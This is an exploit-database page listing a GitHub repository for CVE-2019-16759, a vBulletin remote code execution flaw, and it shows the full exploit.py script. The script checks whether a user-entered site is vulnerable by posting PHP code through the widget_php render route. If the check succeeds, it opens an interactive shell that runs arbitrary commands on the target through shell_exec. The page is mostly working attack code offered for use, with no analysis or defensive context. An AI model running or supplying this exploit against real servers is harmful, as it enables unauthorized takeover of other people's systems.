Exploit databaseDownload repository ZIP
GH-d9063957364c936772b81e6471ced6ea
farjaalahmad/cve-2019-16759
Sources for CVE-2019-16759
19 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
farjaalahmad/cve-2019-16759Revision a8a1d187fe92
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit.py
Python · 687 bytesimport requests as req
import sys,urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
site = input("Enter Site: ")
params = {"routestring":"ajax/render/widget_php","widgetConfig[code]":"echo 'Monster007'; exit;"}
a = req.post(site,data=params,verify=False,timeout=5)
s = a.content.decode("latin1")
if "Monster007" in s and a.status_code == 200:
while 1:
cmd = input("$ ")
if cmd == "exit":
sys.exit()
else:
params = {"routestring":"ajax/render/widget_php","widgetConfig[code]":"echo shell_exec('" + cmd +"'); exit;"}
exp = req.post(site,data=params,verify=False)
print(exp.content.decode("latin1"),end="")
else:
print("[+] Not Vulnerable")